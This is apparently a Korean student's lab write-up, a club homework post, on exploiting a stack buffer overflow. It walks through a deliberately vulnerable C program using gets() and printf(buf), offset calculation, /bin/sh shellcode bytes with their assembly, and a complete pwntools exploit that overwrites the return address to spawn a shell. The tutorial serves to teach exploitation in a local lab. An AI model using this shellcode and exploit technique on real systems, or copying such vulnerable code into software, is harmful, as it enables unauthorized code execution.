· Buffer Overflow
· 버퍼보다 긴 값을 입력해서 쉘 코드를 입력받는다.
· C언어 코드
#include <stdio.h>
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
setup();
char buf[0x100];
printf("What's your name? : ");
gets(buf); // Buffer Overflow
printf("Hello, ");
printf(buf); // Format String Bug
printf("!!!\n");
printf("Last greeting : "); // Buffer Overflow *
gets(buf);
return 0;
}
쉘 따는 방법
1. 버퍼값 계산
2. 버퍼값 입력 (버퍼값 +8(sfp))
3. 쉘 따기
1. 버퍼값 계산
목표: 버퍼를 계산해 RET값 전까지의 길이 구하기
char buf[0x100];
buf의 버퍼값은 0x100이다.
버퍼의 구조
[ 버퍼 ][ SFP ][ RET ]
- 버퍼: 사용자의 입력값 (여기서는 0x100)
- SFP: Stack Frame Pointer (0x8)
- RET: 다음에 실행시킬 주소값 (0x8)
따라서 우리는 RET 전까지인, 버퍼 + SFT : 0x100 + 0x8 = 0x108, 즉 0x108크기의 문자열을 입력하면 된다.
2. 버퍼값 입력 (버퍼값 +8(sfp))
pay += "\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x31\xC0\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x48\x89\xE7\xB0\x3B\x0F\x05"
- Shell 코드 입력
먼저 버퍼 맨 처음에 Shell Code를 입력해준다.
해당 Shell Code는 어셈블리어로 변역하면 아래처럼 된다.
pay = [Shell Code]
어셈블리어 코드 설명
(어셈블리어 명령어 : https://riemannk.tistory.com/21?category=926837)
xor rdi, rdi : rdi = 0
xor rsi, rsi : rsi = 0
xor rdx, rdx : rdx = 0
xor rax, rax : rax = 0
push rax : Stack = rax
movabs rbx, 0x68732f2f6e6922f : rbx = 0x68732f2f6e6922f(/bin/sh)
(movabs: mov의 확장형, 더 긴 주소값을 받을 수 있다)
push rbx : Stack = rax, rbx
mov rdi, rsp : rdi = rsp
mov al, 0x3b : al = 0x3b
syscall : 함수 호출
--------> Shell 실행
- 남은 부분 A값(쓰레기값)으로 채우기
pay += "A" * (0x108 - len(pay)) # + p64(0x7fffffffe380)
남은 부분(1.) 을 모두 쓰레기 값(A)으로 채워준다.
남은 부분 구하는 공식: 0x108(Buffer + SFP) - Shell Code 길이
pay = [Shell Code][AAAAAAA....A]
- RET값에 버퍼의 시작주소 대입해주기
버퍼의 시작 주소 구하기
conn.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
목표) 위 코드를 이용해서 이 값이 어느 공간에 들어있는지 알아본다.
(gdb사용법 : https://riemannk.tistory.com/20)
1. 위 코드를 작성
2. 위 코드를 실행
그 후, 두번째 입력을 받고난 직후에 BP를 걸고 (b*[주소])
실행시켜준다. (c)
lea rax, [rbp-0x100] : rax 값에 rbp-[0x100](Buffer)를 저장해준다. (첫번째 인자, 입력값)
그러므로 Call gets@plt를 실행시켜 준 뒤, rax값을 확인해주면
0x7ffffffe380이 버퍼의 시작주소라는 것을 알 수 있다.
- RET (다음에 시작할 명령어의 주소값)에 버퍼 시작주소 덧씌우기
pay += # "A" * (0x108 - len(pay))
pay += p64(0x7fffffffe380) # 우리가 찾은 버퍼의 첫 시작주소
pay = [Shell Code][AAAAAAA....A][0x7fffffffe380]
3. 쉘 따기
쉘 따기에 앞서 지금까지의 내용을 정리해볼려고 한다.
최종목표: 쉘 코드를 입력하고, RET값을 Buffer의 시작주소로 변조한다.
1. Buffer = 0x100, SFP = 0x8, RET = 0x8
따라서 [쉘코드]+[아무값] = 0x108
2. RET값을 Buffer의 시작주소로 변조시켜서 Shell Code를 실행시키고, 최종적으로 Shell을 딴다.

이제 쉘을 따보자
Exploit코드를 작성한다.
파이썬 Exploit 코드
pwntools 사용법 : https://riemannk.tistory.com/19
from pwn import * # pwntools Import
conn = process("./test", aslr = False) # test의 실행파일 불러오기
e= ELF("./test") # test실행파일에 걸려있는 보호기법 확인
pause() # 일시정지
conn.recvuntil("What's your name? : ") # 해당 문자열 만큼 읽어오기
conn.sendline("riemannk") # riemannk 입력
conn.recvuntil("Last greeting : ") # 해당 문자열 만큼 읽어오기
pay = "" # pay 선언
pay += "\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x31\xC0\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x48\x89\xE7\xB0\x3B\x0F\x05"
# pay에 해당 Shell Code 대입
pay += "A" * (0x108 - len(pay)) + p64(0x7fffffffe380)
# pay에 A를 해당 값만큼 입력
# 그후, 해당 주소를 리틀엔디안 방식으로 패킹해서 대입
conn.sendline(pay) # pay값 입력
#conn.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
conn.interactive() # 상호작용 명령어
그 후 그 코드를 실행한다.
프로그램이 종료되지 않고, $로 바뀌면서
ls, pwd와 같은 쉘에서만 실행시킬 수 있는 명령어도 쓸 수 있다.
내 컴퓨터 아니라면 아래 명령어를 입력해주자

'Layer7 > 동아리 숙제' 카테고리의 다른 글
NX-bit binary exploit (0) | 2020.08.25 |
---|---|
rev-basic-1 (선택 과제) (0) | 2020.08.20 |
Dreamhack 공부 내용 정리 및 문제풀이 (Reversing) (0) | 2020.08.07 |
gdb를 활용한 간단한 바이너리 분석과 보고서 작성 (0) | 2020.07.12 |
python과 pwntools 활용법 익히기 (0) | 2020.07.08 |